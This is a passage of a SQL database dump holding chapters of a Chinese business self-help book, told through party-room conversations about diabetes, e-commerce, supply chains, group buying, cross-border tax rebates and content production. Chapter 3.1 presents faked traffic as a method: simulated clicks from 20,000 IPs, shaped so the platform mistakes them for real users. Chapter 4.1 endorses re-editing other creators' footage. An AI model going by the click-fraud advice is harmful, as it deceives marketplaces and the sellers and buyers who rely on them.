'第一篇|真实的人', 'chapter-2', '第2章|人性困境案例', '健康焦虑(我的糖尿病经历):疾病是人生的第一次清醒', '# 2.5 健康焦虑(我的糖尿病经历):疾病是人生的第一次清醒\n\n\"2018年6月,我被确诊糖尿病。那一年,我34岁。\"\n\n2025年11月27日,周四,早上7点18分。\n\n那天派对房里聊起了健康话题,气氛有点沉重。\n\n有人问:\"你平时怎么保持精力的?每天早上六点开播,不累吗?\"\n\n我说:\"累。但我没办法,我必须保持规律的作息。\"\n\n\"因为我有糖尿病。\"\n\n---\n\n派对房里,有人说:\"你这么年轻就有糖尿病?\"\n\n我说:\"对。\"\n\n\"2018年的时候,我天天熬夜、喝酒、吃夜宵,作息完全没规律。\"\n\n\"有一天突然觉得不对劲,去医院一查,空腹血糖17。\"\n\n\"医生说,正常人空腹血糖应该在6以下,你这个已经是糖尿病了。\"\n\n---\n\n我继续说。\n\n\"当时我整个人都懵了。\"\n\n\"糖尿病?那不是老年人才得的病吗?我才34岁。\"\n\n\"医生说,现在糖尿病越来越年轻化了,跟生活方式有很大关系。\"\n\n---\n\n派对房里,有人问:\"那你现在怎么样了?\"\n\n我说:\"控制得还行。\"\n\n\"但我必须一直调节饮食结构、规律作息、配合中医针灸辅助调理。\"\n\n\"稍微放纵一点,血糖就会上去。\"\n\n---\n\n我停了一下。\n\n\"但我想说的不是糖尿病本身。\"\n\n\"我想说的是,这场病给我带来的改变。\"\n\n---\n\n我继续说。\n\n\"在确诊之前,我觉得自己是无敌的。\"\n\n\"熬夜?没事,年轻扛得住。\"\n\n\"喝酒?没事,喝完睡一觉就好了。\"\n\n\"不运动?没事,等有空了再说。\"\n\n\"我从来没想过,身体会出问题。\"\n\n---\n\n我停了一下。\n\n\"但确诊之后,我突然意识到一件事。\"\n\n\"身体是有极限的。\"\n\n\"你透支它,它不会马上报复你,但它会记账。\"\n\n\"等账单来的时候,你就知道厉害了。\"\n\n---\n\n派对房里,有人说:\"那你现在的生活方式是什么样的?\"\n\n我说:\"完全变了。\"\n\n\"以前我晚上两三点睡,现在我十一点之前必须睡。\"\n\n\"以前我无肉不欢,现在我以蔬菜为主。\"\n\n\"以前我从不运动,现在我每天至少走一万步。\"\n\n\"以前我觉得健康是理所当然的,现在我知道健康是需要经营的。\"\n\n---\n\n我继续说。\n\n\"但最大的改变不是生活方式,是心态。\"\n\n\"以前我总觉得,赚钱最重要,事业最重要,什么都可以为了这些牺牲。\"\n\n\"现在我知道,健康才是一切的基础。\"\n\n\"没有健康,赚再多钱有什么用?\"\n\n---\n\n派对房里,有人问:\"你后悔吗?\"\n\n我说:\"后悔没有用。\"\n\n\"但如果能重来,我一定会更早开始注意健康。\"\n\n\"不是等到出问题了才改变,而是在出问题之前就预防。\"\n\n---\n\n我停了一下。\n\n\"我经常跟派对房里的年轻人说,趁年轻,把身体底子打好。\"\n\n\"不要觉得自己年轻就可以随便造。\"\n\n\"二十多岁的时候造,三十多岁就要还债。\"\n\n\"三十多岁的时候造,四十多岁可能就还不起了。\"\n\n---\n\n派对房里,有人说:\"但年轻的时候,谁会想这些啊。\"\n\n我说:\"是的,我当年也不想。\"\n\n\"所以我现在才会跟你们说这些。\"\n\n\"希望你们能比我更早意识到这个问题。\"\n\n---\n\n那天聊完,派对房里有人说:\"你这个经历挺有警示意义的。\"\n\n我说:\"疾病是人生的第一次清醒。\"\n\n\"在生病之前,我们都觉得自己是特别的,觉得那些坏事不会发生在自己身上。\"\n\n\"但生病之后,你才会发现,你跟所有人一样,都是普通人。\"\n\n\"普通人就要遵守普通人的规则:好好吃饭、好好睡觉、好好运动。\"\n\n---\n\n这本书的真实目的,不是吓唬你。\n\n而是告诉你,健康是一种投资,而且是回报率最高的投资。\n\n你在健康上投入的每一分钟、每一分钱,都会在未来给你回报。\n\n你在健康上透支的每一分钟、每一分钱,都会在未来向你讨债。\n\n这笔账,越早算清楚越好。\n', 1385, 0, 1.00, 10, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.571', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (20, '3.1', 'part-2', '第二篇|真实的行业', 'chapter-3', '第3章|电商篇', '3000万流水如何跑出来(退税模式解析)', '# 3.1 3000万流水如何跑出来(退税模式解析)\n\n流水不是冲出来的,是结构搭出来的。\n\n2025年10月30日,周四,早上7点59分。\n\n派对房里人渐渐多了起来,空气里有股刚睡醒的慵懒。\n\n突然有人上麦问我:\"卡若,你之前说过3000万流水怎么跑出来的?\"\n\n我说:\"两件事,流量与结构。\"\n\n那是我做电商的时期。\n\n我们当时做的是天猫虚拟充值与相关业务。\n\n我在房里讲过:\n\n\"用2万个IP模拟点击。\"\n\n\"一个月380万流水。\"\n\n这只是表层数字。\n\n本质是结构。\n\n派对房里有人问:\"结构怎么搭?\"\n\n我说:\"三层。\"\n\n第一层:流量\n\nIP池、关键词矩阵、时间分布、点击权重。\n\n不是一股脑堆量,是按小时段与人群分布,做成\"自然行为曲线\"。\n\n你不能让系统觉得你是机器。\n\n你要让系统觉得你是真实用户。\n\n第二层:结构和路径\n\n详情页、评价、问答与活动,做成一条\"浏览—停留—互动—下单\"的路径。\n\n每一步都有数据。\n\n每一步都能优化。\n\n\n第三层:后端与风控\n\n出单、发货、售后与风控参数,全部标准化。\n\n没有这三层,流量上来只会出事。\n\n派对房里有人问:\"这不就是\'技术活\'吗?\"\n\n我说:\"不是技术,是纪律。\"\n\n\"你每天都要盯图、盯词、盯曲线。\"\n\n\"看转化率、看停留时长、看异常波动。\"\n\n\"纪律决定结构是否稳定。\"\n\n第二天,我约了一个做过3000万流水的老板线下见面。\n\n我们在思明区的茶馆,把整个流程拆解了一遍。\n\n他说:\"我们当时每天早上六点就开始盯数据。\"\n\n\"看昨天的点击分布、转化率、异常订单。\"\n\n\"发现问题,马上调整。\"\n\n\"不调整,流量就浪费了。\"\n\n我问:\"你们怎么做风控?\"\n\n他说:\"风控是最重要的。\"\n\n\"我们有一套参数,超过阈值就报警。\"\n\n\"比如,同一个IP下单超过3次,就标红。\"\n\n\"比如,退款率超过5%,就暂停推广。\"\n\n\"风控做不好,账号就没了。\"\n\n\n后来,我们把这套结构迁移到合规的退税模式测试上。\n\n用\"流量—结构—后端\"的三层做验证:\n\n第一步,找目标客户:年流水3000万以上、资料齐全。\n\n第二步,跑一次完整流程:申报—核验—退税—分成。\n\n第三步,把每个节点时间与结果记录下来,形成可复用SOP。\n\n测试期,我们不追求大钱。\n\n只追求\"结构稳定\"。\n\n结构稳了,钱自然跑出来。\n\n派对房里有人问:\"那你们测试期多久?\"\n\n我说:\"三个月。\"\n\n\"前两个月都是在调结构。\"\n\n\"第三个月才开始放量。\"\n\n\"很多人失败,是因为他们第一个月就想放量。\"\n\n\"结构不稳,放量就是找死。\"\n\n那个老板补充说:\"我们第一个月亏了20万。\"\n\n\"但我们没停。\"\n\n\"因为我们知道,结构还没调好。\"\n\n\"第二个月亏了10万。\"\n\n\"第三个月开始盈利。\"\n\n\"第四个月,一个月赚了50万。\"\n\n我说:\"这就是结构的力量。\"\n\n\"你前期投入的时间和钱,都是在建结构。\"\n\n\"结构建好了,后面就是复制和放大。\"\n\n后来,我在派对房里总结了一个公式:\n\n流水=流量×转化×客单×复购。\n\n流量是入口。\n\n转化是效率。\n\n客单是利润。\n\n复购是壁垒。\n\n四个都要有。\n\n缺任何一个,流水都跑不出来。\n\n派对房里有人问:\"那3000万流水,需要多少流量?\"\n\n我说:\"不一定。\"\n\n\"如果你的转化率高,客单高,复购率高,你不需要很多流量。\"\n\n\"如果你的转化率低,客单低,复购率低,再多流量都是浪费。\"\n\n我停了一下。\n\n\"所以我说,流水不是冲出来的,是结构搭出来的。\"\n\n\"你以为是冲劲,其实是结构。\"\n\n\"你以为是运气,其实是纪律。\"\n\n这本书的真实目的,不是教你怎么成功。\n\n而是告诉你,流水是结构的产物,不是运气的产物。\n\n三层结构:流量层、转化层、后端层,缺一不可。\n\n纪律比技术更重要——每天盯图、盯词、盯曲线。\n\n测试期只追求\"结构稳定\",稳定之后才能复制放大。\n', 1435, 0, 1.00, 11, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.583', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (21, '3.2', 'part-2', '第二篇|真实的行业', 'chapter-3', '第3章|电商篇', '供应链之王 vs 打工人:利润不在前端', '# 3.2 供应链之王 vs 打工人:利润不在前端\n\n前端热闹,后端才决定利润。\n\n2025年11月4日,周二,早上7点12分。\n\n派对房里来了个做天猫的年轻人,一上麦就叹气。\n\n\"卡若,我每天在改详情页、写话术,但利润还是薄。\"\n\n我问:\"你的货谁控?\"\n\n他愣了。\n\n\"不是我。\"\n\n我说:\"那你就是打工人。\"\n\n派对房里,我讲了一句老话。\n\n\"利润不在前端。\"\n\n\"利润在\'货—价—期—质—服\'这五件事。\"\n\n他问:\"能不能线下细聊?\"\n\n我说可以。\n\n第二天上午,我们在湖滨南路的茶馆见。\n\n我让他把他的生意画成一个链条。\n\n前端:流量、页面、客服、活动。\n\n后端:货源、进价、账期、质量、服务。\n\n我把后端的五件事一条条问。\n\n\"货,稳定吗?\"——\"不稳定。\"\n\n\"价,可控吗?\"——\"经常变。\"\n\n\"期,账期多久?\"——\"15天。\"\n\n\"质,退换率多少?\"——\"8%左右。\"\n\n\"服,售后能否标准化?\"——\"临时处理。\"\n\n我笑了。\n\n\"你在前端拼命,但后端是漏斗。\"\n\n\"前端进来10块钱,后端漏掉7块。\"\n\n\"你再怎么努力,也只能剩3块。\"\n\n他沉默了。\n\n我给他定了一个\"三周修链计划\"。\n\n第一周,只谈货与价。\n\n找到两个可替代供应商,锁定三个月稳定供货与价格浮动区间。\n\n他说:\"我只有一个供应商。\"\n\n我说:\"一个供应商是最大的风险。\"\n\n\"他涨价,你就死。\"\n\n\"他断货,你就停。\"\n\n\"必须有备选。\"\n\n第二周,谈期与质。\n\n把账期从15天拉到30天;签质量条款,明确退换比例与时限。\n\n他说:\"账期怎么拉?\"\n\n我说:\"你要让供应商觉得你有价值。\"\n\n\"你告诉他,我每个月稳定采购多少,我不会拖欠,但我需要30天账期。\"\n\n\"如果他不同意,你就找别人。\"\n\n第三周,谈服务。\n\n把售后流程写成SOP,工单、时效、赔付标准都固定。\n\n他说:\"我们现在售后都是临时处理。\"\n\n我说:\"临时处理就是成本。\"\n\n\"每次临时处理,你都要花时间、花精力、花钱。\"\n\n\"把它标准化,成本就下来了。\"\n\n一周后,他在派对房复盘。\n\n\"我找到了第二个供应商。\"\n\n\"价格比原来低5%。\"\n\n\"账期从15天拉到30天了。\"\n\n我问:\"感觉怎么样?\"\n\n他说:\"我能睡觉了。\"\n\n\"以前每天担心供应商涨价、断货。\"\n\n\"现在有备选,心里踏实多了。\"\n\n三周后,他又在派对房复盘。\n\n\"我把退换比例从8%压到3%了。\"\n\n\"售后时间从72小时缩到24小时。\"\n\n\"利润没涨很多,但我能睡觉了。\"\n\n我说:\"这叫\'结构利润\'。\"\n\n\"不是多挣,是少亏。\"\n\n\"你以前漏掉的钱,现在留住了。\"\n\n另一个老板上麦补充。\n\n他说:\"我们公司不让运营跟供应链分离。\"\n\n\"每个运营要会看后端五件事。\"\n\n\"不会就提不上利润。\"\n\n我点头。\n\n\"运营不是写字,是跑链条。\"\n\n\"你以为你在改详情页,其实你在修链条。\"\n\n\"你以为你在写话术,其实你在写工单。\"\n\n\"你以为你在做客服,其实你在做中台。\"\n\n派对房里有人问:\"那信息差呢?\"\n\n我说:\"信息差也是后端的事。\"\n\n很多人把\"信息差\"当作前端的标题党,实际上它是后端的严肃问题。\n\n我在派对房分享过一个老案例:暗黑拍卖行时代,台湾与英国之间的结算有约15%差价。\n\n如果你能跨区流转金币与装备,扣掉手续费仍有7-10%的净利,且三小时转一圈。\n\n这不是怀旧,是说明\"信息差可以被结构化\"。\n\n你能不能把\"跨区资格、支付工具、结算流程\"写成SOP,让它成为一条稳定的链路?\n\n能,就赚\"结构利润\"。\n\n不能,就赚\"一次性运气\"。\n\n同样,账期不是\"有钱就行\",而是\"钱的流速与安全\"。\n\n账期是电商里最被忽略的杠杆之一。\n\n很多朋友账期15天,一遇到退换与赔付就全面吃紧。\n\n把账期拉到30天,不是为了\"多占别人的钱\",是为了让\"异常有空间\"。\n\n后来,我在派对房里总结了一个\"后端五问\"清单:\n\n第一问,货稳定吗?有没有两个以上可替代供应商?\n\n第二问,价可控吗?能不能锁定三个月价格区间?\n\n第三问,期够长吗?账期能不能从15天拉到30天?\n\n第四问,质合格吗?退换率能不能压到4%以下?\n\n第五问,服标准吗?售后流程有没有写成SOP?\n\n五问过了,前端随便改都有效。\n\n五问没过,前端越改越累。\n\n这本书的真实目的,不是教你怎么成功。\n\n而是告诉你,真正的利润来自\"把复杂变成标准,把标准挂到账上\"。\n\n利润不在前端,利润在后端的五件事:货、价、期、质、服。\n\n你控不了后端,就只能做打工人。\n', 1676, 0, 1.00, 12, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.594', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (22, '3.3', 'part-2', '第二篇|真实的行业', 'chapter-3', '第3章|电商篇', '社区团购的底层逻辑', '# 3.3 社区团购的底层逻辑\n\n团购不是卖货,是把\"信任+便利\"做成习惯。\n\n2025年11月21日,周五,早上7点30分。\n\n那天派对房里来了个做社区团购的团长,语气有点疲惫。\n\n他说:\"卡若,我做社区团购,但很累,复购不稳定。\"\n\n我说:\"你卖的不是货。\"\n\n\"你卖的是\'信任+便利\'。\"\n\n房间里安静。\n\n他问:\"能线下见面聊吗?\"\n\n我说可以。\n\n我们约在小区门口的早餐店,边吃边聊。\n\n他说:\"我做社区团购一年多了。\"\n\n\"每天发十几条消息到群里。\"\n\n\"但复购率越来越低。\"\n\n\"很多人退群了。\"\n\n我问:\"你发什么?\"\n\n他说:\"今天的特价、新品、活动。\"\n\n我说:\"太吵了。\"\n\n他愣了。\n\n我把社区团购的逻辑写成四个字。\n\n\"近、准、稳、省。\"\n\n近,离用户近,消息近,取货近。\n\n准,品类准,人群准,时段准。\n\n稳,到货稳,质量稳,价格稳。\n\n省,用户省事,你省流程,整个链路省心。\n\n我问他:\"你做到了哪几个?\"\n\n他想了想。\n\n\"近,做到了,我就住在小区里。\"\n\n\"准,没做到,我什么都卖。\"\n\n\"稳,没做到,有时候到货不准时。\"\n\n\"省,没做到,用户还要问我很多问题。\"\n\n我说:\"那你就只做到了一个。\"\n\n\"怪不得复购不好。\"\n\n他给我看他的群。\n\n400人。\n\n我问:\"每天发几条?\"\n\n他说:\"十几条。\"\n\n我说:\"太吵。\"\n\n\"群只发\'今日三件\'。\"\n\n\"其他放在小程序或飞书看板。\"\n\n他问:\"什么是\'今日三件\'?\"\n\n我让他试一个\"三件策略\"。\n\n第一件,刚需。\n\n每天都要用的东西,比如鸡蛋、牛奶、水果。\n\n第二件,高复购。\n\n用户买了还会买的东西,比如纸巾、调料。\n\n第三件,情绪值。\n\n让用户觉得\"有意思\"的东西,比如当季新品、网红食品。\n\n每天只有三件,但三件一定稳。\n\n用户知道来你这里不需要筛选,直接买。\n\n我说:\"你现在的问题是什么都卖。\"\n\n\"用户进来,不知道该买什么。\"\n\n\"选择太多,反而不买了。\"\n\n\"你只给他三件,他反而会买。\"\n\n他说:\"但三件会不会太少了?\"\n\n我说:\"少就是多。\"\n\n\"你想想,你去超市,是买得多还是买得少?\"\n\n\"选择越多,买得越少。\"\n\n\"选择越少,买得越快。\"\n\n我们又聊了取货的问题。\n\n他说:\"我现在取货时间是下午三点到六点。\"\n\n\"但很多人上班,来不了。\"\n\n我说:\"那你就多一个晚上的窗口。\"\n\n\"下午三点到六点,晚上八点到九点。\"\n\n\"两个窗口,覆盖上班族和全职妈妈。\"\n\n他说:\"那我不是更累了?\"\n\n我说:\"不会。\"\n\n\"你把到货时间固定,用户就知道什么时候来。\"\n\n\"不用每次都问你。\"\n\n\"你省事,用户也省事。\"\n\n一周后,他在派对房复盘。\n\n\"复购提升了,投诉下降了。\"\n\n\"我把到货不稳的品类砍掉了。\"\n\n\"把取货时间固定成两个窗口。\"\n\n我说:\"你不是在\'卖更多\',你是在\'卖更稳\'。\"\n\n他说:\"我现在每天只发三条消息。\"\n\n\"群里安静了,但订单反而多了。\"\n\n我说:\"因为用户不烦你了。\"\n\n\"以前你发十几条,他们直接屏蔽。\"\n\n\"现在你发三条,他们每条都看。\"\n\n另一个团长上麦补充。\n\n他说:\"我们社区团购的利润不在差价,在\'我帮你省事\'的服务。\"\n\n\"每次帮忙分袋、代提、代送,都是服务利润。\"\n\n我点头。\n\n\"服务是能复购的利润。\"\n\n\"差价是一次性的。\"\n\n\"服务是长期的。\"\n\n后来,我们在线下又见了一次。\n\n他带了一个本子,上面写满了问题。\n\n我一个一个回答。\n\n\"品类怎么选?\"——\"只选刚需+高复购+情绪值。\"\n\n\"供应商怎么谈?\"——\"至少两个备选,价格锁定三个月。\"\n\n\"到货怎么保证?\"——\"跟供应商签时效条款,延迟就赔付。\"\n\n\"售后怎么处理?\"——\"写成SOP,工单、时效、赔付标准都固定。\"\n\n我把这章收尾成\"团长五件事\"。\n\n第一,群只发\"今日三件\",减少噪音。\n\n第二,固定取货时间窗,减少等待与冲突。\n\n第三,砍掉到货不稳的品类,只保留稳品。\n\n第四,标准化\"分袋/代提/代送\"服务,形成服务利润。\n\n第五,每周复盘\"近/准/稳/省\"四项,持续调优。\n\n这本书的真实目的,不是教你怎么成功。\n\n而是告诉你,社区团购不是卖货,是卖\"信任+便利\"。\n\n团长赚的不是差价,是\"我帮你省事\"的钱。\n\n把这个想清楚,你就知道怎么做了。\n', 1582, 0, 1.00, 13, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.605', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (23, '3.4', 'part-2', '第二篇|真实的行业', 'chapter-3', '第3章|电商篇', '跨境电商与退税套利', '# 3.4 跨境电商与退税套利\n\n套利不是故事,是窗口+合规的小样能力。\n\n2025年11月8日,周六,早上6点55分。\n\n周末的派对房人少,但问的问题都很硬核。\n\n有个做外贸的朋友上麦问:\n\n\"卡若,你之前讲过暗黑3的跨境套利,怎么做的?\"\n\n我说:\"台湾买,英国卖。\"\n\n\"三个小时一圈,净赚1000。\"\n\n房间里安静了一下。\n\n我补了一句。\n\n\"那是当年的窗口。\"\n\n跨境套利,本质是\"时间差+价格差+规则差\"。\n\n时间差:不同市场的活动与打折周期不同。\n\n价格差:同一商品在不同区域定价不同。\n\n规则差:不同平台与国家的税费与政策不同。\n\n抓住三个差,做一圈就有钱。\n\n我在派对房里讲了当年的案例。\n\n2012年,暗黑3开了真金拍卖行。\n\n游戏里的装备和金币,可以直接卖成真钱。\n\n我发现,台湾区的金币价格比英国区低15%。\n\n因为台湾的玩家多,金币供应量大。\n\n英国的玩家少,金币供应量小。\n\n所以台湾便宜,英国贵。\n\n我就做了一件事:台湾买,英国卖。\n\n三个小时跑一圈,扣掉手续费,净赚1000块。\n\n派对房里一个做跨境的小伙伴上麦。\n\n他说:\"现在还能做吗?\"\n\n我说:\"窗口不同了,但方法还在。\"\n\n\"先用\'差异三问\'去测。\"\n\n第一问,哪里有时间差?\n\n不同市场的活动周期不同,比如美国的黑五、中国的双十一、欧洲的圣诞促销。\n\n第二问,哪里有价格差?\n\n同一商品在不同平台、不同国家的定价不同。\n\n第三问,哪里有规则差?\n\n不同国家的税费、退税政策、进出口规定都不同。\n\n三问都有,你就能做一次小样测试。\n\n他问:\"能线下拆解一下吗?\"\n\n我说可以。\n\n我们在茶馆见。\n\n我把跨境的路径画成五步。\n\n第一步,选品与区域。\n\n你要选什么品?卖到哪个区域?\n\n这是第一个问题。\n\n第二步,物流与时效。\n\n货怎么过去?多久能到?\n\n这是第二个问题。\n\n第三步,税费与合规。\n\n要交多少税?怎么才能合规?\n\n这是第三个问题。\n\n第四步,定价与汇率。\n\n卖多少钱?汇率怎么算?\n\n这是第四个问题。\n\n第五步,回款与风控。\n\n钱怎么回来?风险怎么控?\n\n这是第五个问题。\n\n每一步都要有\"最小样本\"的验证。\n\n不是直接上仓,是先跑一圈小单。\n\n他问:\"退税怎么做?\"\n\n我说:\"合规退税必须先有完整的进出口与报关链。\"\n\n\"没有链条就不要碰。\"\n\n\"你可以找做得熟的服务商跑一次,把时间与费用抄下来。\"\n\n\"确定合规与可复用,再谈规模。\"\n\n我在派对房里又分享了一个案例。\n\n有个朋友做跨境电商,一年流水3000万。\n\n他告诉我,他的利润不在卖货,在退税。\n\n他说:\"我们每年能退180万的税。\"\n\n\"6个点的增值税,我可以百分百帮他退掉。\"\n\n我问:\"怎么做到的?\"\n\n他说:\"合规申报,资料齐全,流程标准化。\"\n\n\"我们有专门的财务团队做这件事。\"\n\n\"每个月出一次退税报告。\"\n\n派对房里有人问:\"那小公司能做吗?\"\n\n我说:\"能做,但要找专业的服务商。\"\n\n\"你自己做,成本太高。\"\n\n\"你找服务商,他们抽一部分,你拿大头。\"\n\n\"这就是分工。\"\n\n后来,我们在线下又聊了一次。\n\n他给我看了他的退税报表。\n\n每个月都有详细的记录:申报金额、退税金额、服务费、到账时间。\n\n我说:\"这就是结构化。\"\n\n\"你把退税做成了一个稳定的流程。\"\n\n\"每个月都知道能退多少,什么时候到账。\"\n\n\"这不是一次性运气,这是结构利润。\"\n\n他说:\"对,我们一开始也是摸索。\"\n\n\"前三个月亏了不少钱。\"\n\n\"但我们把每个节点都记录下来。\"\n\n\"哪里出问题,马上调整。\"\n\n\"三个月之后,流程就稳定了。\"\n\n这本书的真实目的,不是教你怎么成功。\n\n而是告诉你,套利不是故事,是窗口+合规的小样能力。\n\n跨境套利的本质是\"时间差+价格差+规则差\"。\n\n你要做的,是用\"差异三问\"去测,用\"五步路径\"去跑。\n\n先跑小样,确定合规与可复用,再谈规模。\n\n窗口不同了,但方法还在。\n', 1446, 0, 1.00, 14, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.616', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (24, '4.1', 'part-2', '第二篇|真实的行业', 'chapter-4', '第4章|内容商业篇', '旅游号:30天10万粉的真实逻辑', '# 4.1 旅游号:30天10万粉的真实逻辑\n\n\"做旅游号,30天涨10万粉,听起来很厉害,但背后的逻辑其实很简单。\"\n\n2025年11月6日,周四,早上6点45分。\n\n那天派对房里来了个做旅游自媒体的,语气很自信。\n\n他说他三年前开始做旅游号,现在全网粉丝过百万。\n\n我问:\"你是怎么起步的?\"\n\n他说:\"很简单,就是死磕一个平台,一个类型的内容。\"\n\n---\n\n派对房里,有人问:\"能具体讲讲吗?\"\n\n他说:\"好,我给你们讲一下我当时的做法。\"\n\n\"我一开始选的是抖音,因为抖音的流量最大。\"\n\n\"然后我选的是\'景点攻略\'这个类型,因为这个类型的需求最稳定。\"\n\n---\n\n他继续说。\n\n\"你想想,每天有多少人在抖音上搜\'某某景点怎么玩\'、\'某某城市攻略\'?\"\n\n\"这些人都是有明确需求的,他们不是随便刷刷,他们是真的要去旅游。\"\n\n\"所以这类内容的转化率特别高。\"\n\n---\n\n我问:\"那你的内容是怎么做的?\"\n\n他说:\"我当时的做法是\'批量生产\'。\"\n\n\"我不是自己去每个景点拍,那太慢了。\"\n\n\"我是收集网上的素材,然后重新剪辑、配音、加字幕。\"\n\n---\n\n派对房里,有人说:\"这不是搬运吗?\"\n\n他说:\"不完全是。\"\n\n\"搬运是直接复制别人的视频。\"\n\n\"我做的是二次创作,我会加入自己的解说、自己的观点、自己的信息整合。\"\n\n\"比如一个景点,我会把门票价格、最佳游玩时间、避坑指南、周边美食都整合在一起。\"\n\n\"这些信息可能来自十几个不同的来源,但我把它们整合成一个完整的攻略。\"\n\n---\n\n他停了一下。\n\n\"这种内容的价值在哪里?\"\n\n\"在于节省用户的时间。\"\n\n\"用户不用自己去搜十几个视频、十几篇文章,看我一个视频就够了。\"\n\n---\n\n我问:\"那你一天能产出多少条?\"\n\n他说:\"最高的时候,一天十几条。\"\n\n\"因为我有一套标准化的流程。\"\n\n\"选题、找素材、写文案、剪辑、配音、发布,每个环节都有固定的模板和工具。\"\n\n---\n\n派对房里,有人问:\"那你是怎么涨到10万粉的?\"\n\n他说:\"靠的是\'爆款思维\'。\"\n\n\"我不追求每条视频都火,我追求的是每十条里面有一条能爆。\"\n\n\"只要有一条爆了,就能带动整个账号的流量。\"\n\n---\n\n他继续说。\n\n\"怎么做爆款?\"\n\n\"第一,选对话题。热门景点、热门城市、热门时间节点,这些话题天然有流量。\"\n\n\"第二,标题要抓人。\'去某某景点千万别做这三件事\'、\'某某城市最坑的五个地方\',这种标题点击率高。\"\n\n\"第三,前三秒要留人。用户刷到你的视频,前三秒决定他会不会看下去。\"\n\n---\n\n我问:\"那你现在怎么变现?\"\n\n他说:\"主要是三个渠道。\"\n\n\"第一,平台分成。抖音、小红书、B站都有创作者激励计划,有播放量就有收入。\"\n\n\"第二,广告合作。旅游相关的品牌会找我做推广,一条视频几千到几万不等。\"\n\n\"第三,带货。我会推荐一些旅游相关的产品,比如行李箱、旅行装备、酒店预订,赚佣金。\"\n\n---\n\n派对房里,有人问:\"那现在做旅游号还有机会吗?\"\n\n他说:\"有,但比以前难了。\"\n\n\"以前是蓝海,现在是红海。\"\n\n\"你想脱颖而出,要么内容质量特别高,要么有独特的定位。\"\n\n---\n\n他继续说。\n\n\"比如你可以做\'小众目的地\',专门介绍那些不太出名但很值得去的地方。\"\n\n\"比如你可以做\'深度体验\',不是走马观花式的攻略,而是真正深入当地的生活。\"\n\n\"比如你可以做\'人设型\',让用户记住你这个人,而不只是你的内容。\"\n\n---\n\n那天聊完,我在派对房里总结了一下。\n\n\"刚才这位老板的经历,给了我们几个启示。\"\n\n\"第一,选对赛道比努力更重要。他选了旅游这个赛道,需求稳定、变现清晰。\"\n\n\"第二,标准化是规模化的前提。他能一天产出十几条内容,靠的是标准化流程。\"\n\n\"第三,爆款思维比平均思维更有效。不追求每条都火,追求偶尔能爆。\"\n\n---\n\n这本书的真实目的,不是教你去做旅游号。\n\n而是告诉你,任何一个赛道,都有它的底层逻辑。\n\n旅游号的底层逻辑是什么?\n\n第一,满足用户的信息需求。\n\n第二,用标准化提高效率。\n\n第三,用爆款撬动流量。\n\n理解了这些逻辑,你做任何内容都能找到方向。\n', 1577, 0, 1.00, 15, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.628', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (25, '4.2', 'part-2', '第二篇|真实的行业', 'chapter-4', '第4章|内容商业篇', '做号工厂:如何让一个号变成一个机器', '# 4.2 做号工厂:如何让一个号变成一个机器\n\n稳定不是人多,是流程能复盘能按时。\n\n2025年11月9日,周日,早上7点15分。\n\n那天的派对房话题聊到了内容生产,一个内容运营上麦吐槽。\n\n他说:“卡若,我一个人做一个号,每天都很累,时好时坏。”\n\n我说:“把号变成‘机器’,不是把人变多。”\n\n“是把流程变好。”\n\n——\n\n我们第二天线下见面,在公司会议室。\n\n我让他把“做一条内容”的所有动作写出来。\n\n选题、脚本、拍摄、剪辑、字幕、封面、发布、复盘。\n\n八个动作。\n\n我说:“从今天开始,你不再做‘八件事’。”\n\n“你只做‘三件事’。”\n\n“其余五件,交给‘机器’。”\n\n——\n\n什么是机器?\n\n素材池、模板库、热键表、发布看板、复盘报表。\n\n素材池把“风景/路线/价格/互动”四类素材分门别类。\n\n模板库把“开场/字幕/封面/标题”固定成可复用模板。\n\n热键表让剪辑从“手艺活”变成“机械执行”。\n\n发布看板固定“时间/频次/主题/结构”。\n\n复盘报表只看“停留/完播/评论/私信”。\n\n——\n\n派对房里有人问:“这不就是 SOP 吗?”\n\n我说:“不是只有 SOP。”\n\n“还有‘岗位拆分’。”\n\n一个人也能做岗位拆分。\n\n人做三件事:选题、脚本、复盘。\n\n机器做五件事:拍摄、剪辑、字幕、封面、发布。\n\n“人负责决定做什么与如何更好。”\n\n“机器负责把既定的事做完且做对。”\n\n——\n\n他问:“怎么开始?”\n\n我给他一个“七天装机计划”。\n\n第一天,搭素材池。\n\n把过去三个月的素材分四类,每类挑 50 条入库。\n\n第二天,搭模板库。\n\n开场/字幕/封面/标题各做 5 个模板,命名统一。\n\n第三天,写热键表。\n\n剪辑软件统一热键,贴在键盘旁边。\n\n第四天,建发布看板。\n\n固定“三条/每日/三时段/统一主题不同结构”。\n\n第五天,建复盘报表。\n\n每晚填“停留/完播/评论/私信”四项,只改最短段。\n\n第六天,跑一次流水线。\n\n早上写选题与脚本,中午拍摄,下午剪辑,晚上发布与复盘。\n\n第七天,只做“改短段与改模板”。\n\n——\n\n两周后,他在派对房复盘。\n\n“我每天不再焦虑‘拍不完’。”\n\n“我只焦虑‘选题够不够好’。”\n\n“我知道机器会把事情做完。”\n\n我说:“这就是‘做号工厂’。”\n\n“不是把人变多,是把不稳定变稳定。”\n\n——\n\n另一个做内容的朋友上麦补充。\n\n他说:“我们公司用‘质检员’。”\n\n“专门检查开场是否冲击,第 8 秒是否反转,结尾是否有召唤。”\n\n“只要这三件过了,播放就不会差。”\n\n我点头。\n\n“做号工厂必须有‘质检点’。”\n\n——\n\n这是一张“做号工厂清单”。\n\n1. 人做三件:选题/脚本/复盘。\n\n2. 机器做五件:拍摄/剪辑/字幕/封面/发布。\n\n3. 素材池四类入库 200 条,模板库四类各 5 个。\n\n4. 发布看板固定‘三条/每日/三时段/统一主题不同结构’。\n\n5. 复盘报表只看四项,每天只改最短段。\n\n6. 设置三处质检点:开场冲击/第 8 秒反转/结尾召唤。\n\n7. 